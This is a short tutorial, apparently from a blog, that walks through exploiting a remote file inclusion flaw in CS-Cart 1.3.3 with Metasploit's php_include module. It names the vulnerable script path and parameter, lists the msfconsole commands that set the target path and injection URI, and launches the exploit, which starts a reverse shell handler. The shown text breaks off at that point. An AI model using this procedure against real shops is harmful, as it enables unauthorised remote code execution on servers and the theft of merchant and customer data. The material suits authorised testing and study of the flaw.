PHP Include Exploitation with Metasploit

Metasploit support for PHP Include exploitation, or simply known as RFI (Remote File Inclusion). I will show you how this work on CS-Cart 1.3.3 which vulnerable to remote file inclusion.

The vulnerable path is at classes/phpmailer/class.cs_phpmailer.php?classes_dir=[include arbitrary php code]

so in Metasploit, the PHPURI PATH will be like this:


let see how this exploitation works.<span id="more-125"></span>

msf exploit(php_include) &gt;

Now we set all options.

msf exploit(php_include) &gt; set PATH /commerce
 PATH =&gt; /commerce
 msf exploit(php_include) &gt; set PHPURI /classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX
 PHPURI =&gt; /classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX
 msf exploit(php_include) &gt; set RHOST
 RHOST =&gt;

After all options meet requirement, let's launch the exploit.

msf exploit(php_include) &gt; exploit

[*] Started reverse handler on
